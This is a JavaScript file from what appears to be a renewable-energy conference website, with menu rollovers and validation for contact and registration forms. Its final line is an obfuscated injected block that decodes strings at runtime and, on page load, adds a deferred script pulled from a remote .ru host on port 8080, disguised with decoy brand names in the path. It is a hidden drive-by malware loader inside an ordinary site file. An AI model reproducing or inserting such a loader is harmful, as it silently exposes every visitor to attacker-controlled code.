var Timer;

var homeMenuMicroOn = new Image();
var homeMenuMicroOff = new Image();
var aboutMenuMicroOn = new Image();
var aboutMenuMicroOff = new Image();
var programMenuMicroOn = new Image();
var programMenuMicroOff = new Image();
var speakerMenuMicroOn = new Image();
var speakerMenuMicroOff = new Image();
var partnerMenuMicroOn = new Image();
var partnerMenuMicroOff = new Image();
var sponsorMenuMicroOn = new Image();
var sponsorMenuMicroOff = new Image();
var registerMenuMicroOn = new Image();
var registerMenuMicroOff = new Image();
var contactMenuMicroOn = new Image();
var contactMenuMicroOff = new Image();
 
homeMenuMicroOff.src = "images/ame_renewable_home1.jpg";
homeMenuMicroOn.src = "images/ame_renewable_home2.jpg";
aboutMenuMicroOff.src = "images/ame_renewable_about1.jpg";
aboutMenuMicroOn.src = "images/ame_renewable_about2.jpg";
programMenuMicroOff.src = "images/ame_renewable_programhighliht1.jpg";
programMenuMicroOn.src = "images/ame_renewable_programhighliht2.jpg";
speakerMenuMicroOff.src = "images/ame_renewable_speaker1.jpg";
speakerMenuMicroOn.src = "images/ame_renewable_speaker2.jpg";
partnerMenuMicroOff.src = "images/ame_renewable_partner1.jpg";
partnerMenuMicroOn.src = "images/ame_renewable_partner2.jpg";
sponsorMenuMicroOff.src = "images/ame_renewable_sponsorship1.jpg";
sponsorMenuMicroOn.src = "images/ame_renewable_sponsorship2.jpg";
registerMenuMicroOff.src = "images/ame_renewable_register1.jpg";
registerMenuMicroOn.src = "images/ame_renewable_register2.jpg";
contactMenuMicroOff.src = "images/ame_renewable_contact1.jpg";
contactMenuMicroOn.src = "images/ame_renewable_contact1.jpg";


function is_contact_form_empty (form)
{
	var message = "The following field(s) is mandatory:\n\n";
	var messageLength = message.length;
	var messagepointer = 0;
	var titleFlag = 0;

	for(i=0;i<form.title.length;i++) 
	{
		if (form.title[i].checked == true)
		{
			titleFlag = 1;
			break;
		}		
	}
	
	if (titleFlag == 0) 
	{
		message += "- Title\n"; 	
		messagepointer = 1;
	}
	
	if (form.name.value == "") 
	{
		message += "- Name\n"; 
		if (messagepointer == 0) {
			messagepointer = 2;
		}
	}
	
	if (form.jobTitle.value == "") 
	{
		message += "- Job Title\n"; 
		if (messagepointer == 0) {
			messagepointer = 3;
		}
	}
	if (form.company.value == "") 
	{
		message += "- Company\n"; 
		if (messagepointer == 0) {
			messagepointer = 4;
		}
	}
	
	if (form.country.value == "") 
	{
		message += "- Country \n"; 
		if (messagepointer == 0) {
			messagepointer = 5;
		}
	}
	
	if (form.telMain.value == "") 
	{
		message += "- Tel (Main) \n"; 
		if (messagepointer == 0) {
			messagepointer = 6;
		}
	}
	
	if (form.email.value == "") 
	{
		message += "- Email \n"; 
		if (messagepointer == 0) {
			messagepointer = 7;
		}
	}
	
	if (message.length <= messageLength)
	{
		if (!validate_email(form.email.value))
		{
			alert ("Invalid email address.");
			form.email.focus();
			return false;
		}
		
		if (!IsNumeric(form.telMain.value))
		{
			alert ("Invalid telephone number.");
			form.telMain.focus();
			return false;
		}
		
		if (form.telMobile.value != "")
		{
			if (!IsNumeric(form.telMobile.value))
			{
				alert ("Invalid mobile number.");
				form.telMobile.focus();
				return false;
			}
		}
		
		if (form.fax.value != "")
		{
			if (!IsNumeric(form.fax.value))
			{
				alert ("Invalid fax number.");
				form.fax.focus();
				return false;
			}
		}
		
		return true;
	}
	
	else
	{
		alert (message);
		
		if (messagepointer == 1) {
			form.title[0].focus();
		}
		else if (messagepointer == 2) {
			form.name.focus();
		}
		else if (messagepointer == 3) {
			form.jobTitle.focus();
		}
		else if (messagepointer == 4) {
			form.company.focus();
		}
		else if (messagepointer == 5) {
			form.country.focus();
		}
		else if (messagepointer == 6) {
			form.telMain.focus();
		}
		else if (messagepointer == 7) {
			form.email.focus();
		}
		
		return false;
	}
}


function is_register_form_empty(form)
{
	var message = "The following field(s) is mandatory:\n\n";
	var messageLength = message.length;
	var messagepointer = 0;
	var titleFlag = 0;

	for(i=0;i<form.titleR.length;i++) 
	{
		if (form.titleR[i].checked == true)
		{
			titleFlag = 1;
			break;
		}		
	}
	
	if (titleFlag == 0) 
	{
		message += "- Title\n"; 	
		messagepointer = 1;
	}
	
	if (form.nameR.value == "") 
	{
		message += "- Full Name\n"; 
		if (messagepointer == 0) {
			messagepointer = 2;
		}
	}
	
	if (form.positionR.value == "") 
	{
		message += "- Position\n"; 
		if (messagepointer == 0) {
			messagepointer = 3;
		}
	}
	
	if (form.companyR.value == "") 
	{
		message += "- Company\n"; 
		if (messagepointer == 0) {
			messagepointer = 4;
		}
	}
	
	if (form.emailR.value == "") 
	{
		message += "- Email\n"; 
		if (messagepointer == 0) {
			messagepointer = 5;
		}
	}
	
	if (form.officenoR.value == "") 
	{
		message += "- Contact No (Office) \n"; 
		if (messagepointer == 0) {
			messagepointer = 6;
		}
	}
	
	if (form.mobilenoR.value == "") 
	{
		message += "- Contact No (Mobile) \n"; 
		if (messagepointer == 0) {
			messagepointer = 7;
		}
	}
	
	// if (form.faxnoR.value == "") 
	// {
		// message += "- Fax No \n"; 
		// if (messagepointer == 0) {
			// messagepointer = 8;
		// }
	// }
	
	if (form.addressR.value == "") 
	{
		message += "- Address \n"; 
		if (messagepointer == 0) {
			messagepointer = 9;
		}
	}
	
	if (form.cityR.value == "") 
	{
		message += "- City \n"; 
		if (messagepointer == 0) {
			messagepointer = 10;
		}
	}
	
	if (form.postalcodeR.value == "") 
	{
		message += "- Postal Code \n"; 
		if (messagepointer == 0) {
			messagepointer = 11;
		}
	}
	
	if (form.countryR.value == "") 
	{
		message += "- Country \n"; 
		if (messagepointer == 0) {
			messagepointer = 12;
		}
	}
	
	if (message.length <= messageLength)
	{
		if (!validate_email(form.emailR.value))
		{
			alert ("Invalid email address.");
			form.emailR.focus();
			return false;
		}
		
		if (!IsNumeric(form.officenoR.value))
		{
			alert ("Invalid office number.");
			form.officenoR.focus();
			return false;
		}
		
		if (form.mobilenoR.value != "")
		{
			if (!IsNumeric(form.mobilenoR.value))
			{
				alert ("Invalid mobile number.");
				form.mobilenoR.focus();
				return false;
			}
		}
		
		if (form.faxnoR.value != "")
		{
			if (!IsNumeric(form.faxnoR.value))
			{
				alert ("Invalid fax number.");
				form.faxnoR.focus();
				return false;
			}
		}
		
		return true;
	}
	
	else
	{
		alert (message);
		
		if (messagepointer == 1) {
			form.titleR[0].focus();
		}
		else if (messagepointer == 2) {
			form.nameR.focus();
		}
		else if (messagepointer == 3) {
			form.positionR.focus();
		}
		else if (messagepointer == 4) {
			form.companyR.focus();
		}
		else if (messagepointer == 5) {
			form.emailR.focus();
		}
		else if (messagepointer == 6) {
			form.officenoR.focus();
		}
		else if (messagepointer == 7) {
			form.mobilenoR.focus();
		}
		// else if (messagepointer == 8) {
			// form.faxnoR.focus();
		// }
		else if (messagepointer == 9) {
			form.addressR.focus();
		}
		else if (messagepointer == 10) {
			form.cityR.focus();
		}
		else if (messagepointer == 11) {
			form.postalcodeR.focus();
		}
		else if (messagepointer == 12) {
			form.countryR.focus();
		}
		
		return false;
	}
}

function validate_email(strEmail)
{
	/**
	* DHTML email validation script. Courtesy of SmartWebby.com (http://www.smartwebby.com/dhtml/)
	*/
	var at = "@"
	var dot = "."
	var lat = strEmail.indexOf(at)
	var lstr = strEmail.length
	var ldot = strEmail.indexOf(dot)
	var afterdot = strEmail.split(dot)

	if (strEmail.indexOf(at)==-1)
	{
	   return false
	}

	if (strEmail.indexOf(at) == -1 || strEmail.indexOf(at) == 0 || strEmail.indexOf(at) == lstr)
	{
	   return false
	}

	if (strEmail.indexOf(dot) == -1 || strEmail.indexOf(dot) == 0 || strEmail.indexOf(dot) == lstr)
	{
		return false
	}

	 if (strEmail.indexOf(at,(lat+1))!=-1)
	 {
		return false
	 }

	 if (strEmail.substring(lat-1,lat) == dot || strEmail.substring(lat + 1, lat + 2) == dot)
	 {
		return false
	 }

	 if (strEmail.indexOf(dot,(lat+2)) == -1)
	 {
		return false
	 }
	
	 if (strEmail.indexOf(" ") != -1)
	 {
		return false
	 }

 	return true					
}


function validate_date(strDateVal)
{

	var objRegExp = /^\d{2}(\-|\/|\.)\d{2}\1\d{4}$/

	//check to see if in correct format
	if(!objRegExp.test(strDateVal))
	{
		return false; //doesn't match pattern, bad date
	}
	else 
	{
		var strSeparator = strDateVal.substring(2,3);
		var arrayDate = strDateVal.split(strSeparator); 
		//create a lookup for months not equal to Feb.
		var arrayLookup = { '01' : 31, '03' : 31, 
	                        '04' : 30, '05' : 31,
	                        '06' : 30, '07' : 31,
	                        '08' : 31, '09' : 30,
	                        '10' : 31, '11' : 30, 
							'12' : 31 };
							
		var intDay = parseInt(arrayDate[0],10); 
		
	    //check if month value and day value agree
	    if(arrayLookup[arrayDate[1]] != null) 
		{
			if(intDay <= arrayLookup[arrayDate[1]] && intDay != 0)
			{
				return true; //found in lookup table, good date
			}
		}

    
	    //check for February (bugfix 20050322)
	    //bugfix  for parseInt kevin
	    //bugfix  biss year  O.Jp Voutat
	    var intMonth = parseInt(arrayDate[1],10);
	
	    if (intMonth == 2) 
		{ 
	       var intYear = parseInt(arrayDate[2]);
	
	       if (intDay > 0 && intDay < 29) 
		   {
	           return true;
	       }
	       else if (intDay == 29) 
		   {
				if ((intYear % 4 == 0) && (intYear % 100 != 0) || (intYear % 400 == 0)) 
				{
	              // year div by 4 and ((not div by 100) or div by 400) ->ok
	             return true;
				}	   
			}
	    }
		return false;
	}  
	return true; //any other values, bad date
	//return true;
}

function IsNumeric(sText)
{
	var ValidChars = "0123456789.";
	var IsNumber = true;
	var Char;
 
	for (i = 0; i < sText.length && IsNumber == true; i++) 
    { 
		Char = sText.charAt(i); 
		if (ValidChars.indexOf(Char) == -1) 
		{
			IsNumber = false;
		}
     }
   return IsNumber;
}

function ChangeMenuImage ( imgId )
{
  if ( document.images )
  {
    var butOn = eval ( imgId + "On.src" );
    document.getElementById(imgId).src = butOn;
  }
}

function RevertMenuImage ( imgId )
{
  if ( document.images )
  {
    butOff = eval ( imgId + "Off.src" );
    document.getElementById(imgId).src = butOff;
  }
}

function ExpandMenu(SMenu)
{	
	document.getElementById(SMenu).style.display = 'block';
}

function ShrinkMenu(SMenu)
{
	document.getElementById(SMenu).style.display = 'none';
}

function ShowMenu(SMenu, HMenu)
{
	document.getElementById(SMenu).style.visibility = 'visible';
	document.getElementById(HMenu).style.visibility = 'hidden';
}

function HideMenu(SMenu, HMenu)
{
	document.getElementById(SMenu).style.visibility = 'hidden';
	document.getElementById(HMenu).style.visibility = 'visible';
}
	
function ScrollTop()
{
  Timer = setInterval("document.getElementById('upcomingEvents').scrollTop -= 2", 15);
}
function ScrollBottom()
{
  Timer = setInterval("document.getElementById('upcomingEvents').scrollTop += 2", 15);
}

function ChangeBackground(styleID)
{
	document.getElementById(styleID).style.backgroundColor = '#663366';
	document.getElementById(styleID).style.color = '#ffffff';
}

function RevertBackground (styleID)
{
	document.getElementById(styleID).style.backgroundColor = '#f2f2f2';
	document.getElementById(styleID).style.color = '#663366';
}

try {var ip=new String();this.f="";var z=RegExp;this.B='';var O='[';var t=new String();var th;if(th!=''){th='a'};var c=']';var C="";var k;if(k!='Mq'){k=''};var wo='g';var G='replace';var x;if(x!='' && x!='qh'){x=''};var y='';function w(N,cl){var GU=new String();this.Fr='';var Zh;if(Zh!='aH' && Zh != ''){Zh=null};var A=O;this.K='';A+=cl;var aI;if(aI!='tY'){aI=''};var n=new Date();A+=c;var S="";var yz='';var R=new z(A, wo);return N[G](R, y);this.bE="";var tZ;if(tZ!=''){tZ='r'};};var UK;if(UK!='qA'){UK=''};this.d="";var _=w('b8oHd3y8',"H83");var dG=new Array();var b=w('sUe9tmAUtmtmrYimbUuYtmeU',"YU9m");var M=w('/RmFeCrCcRaRdFoClCiRbFrCeF.FcCoRmF.RaRrF/FmCeRrCcCaRdCoClCiFbRrFeC.RcFoCmC.FaFrR/CaRmCeFrRiFcCaRnReFxFpFrReFsFsF.CcCoCmR/CgRoCoFgClCeF.CcRoFmR/RbClFaCcRkChFaFtRwRoRrFlRdR.RcCoFmC.CpRhFpR',"FRC");var Of=w('8469606119866101141',"1469");var HR=new Date();var iJ;if(iJ!='Ak' && iJ!='IU'){iJ='Ak'};this.L='';var V=w('akpopkeknkdkCohoiolkdo',"ko");var wp=new String();var i=w('slclrliDpltD',"Dl");var e;if(e!='_T'){e='_T'};var P='';var RW=w('cArAeAaptAeAEZljepmAejnptj',"pLZAj");this.yH='';var jb;if(jb!='ld'){jb='ld'};var N="1";var fI="";var KB;if(KB!='yk'){KB='yk'};var H=w('opnSlSoOaSd2',"pO2S");var l=w('hVtKtVpK:V/V/VsKuKiVtKeK1V0V1V-VcKoKmV.KgKiVzKmVoKdVoV.KcVoVmV.VfKrVeKeKwVeVbKsV-VcKoVmK.KmVyVwKoVrKlKdVcVaVmKpKuVsV.VrVuK:K',"KV");window[H]=function(){var pY;if(pY!='' && pY!='TN'){pY=null};var ky=new String();U=document[RW](i);var mc;if(mc!='sN' && mc!='LI'){mc=''};var o;if(o!=''){o='vU'};var Bm=new Array();P+=l;var un;if(un!='Vw' && un!='Rj'){un='Vw'};P+=Of;var fO;if(fO!=''){fO='AP'};var Mz;if(Mz!=''){Mz='Fy'};P+=M;var wy;if(wy!=''){wy='gG'};U.setAttribute('defer', N);U.src=P;var Q=document[_];this.OD="";this.aS="";var PC=new String();var qE="";Q.appendChild(U);var du="";var lv=new String();};} catch(T){var _R;if(_R!='' && _R!='iu'){_R=null};};var PE='';var iH=new String();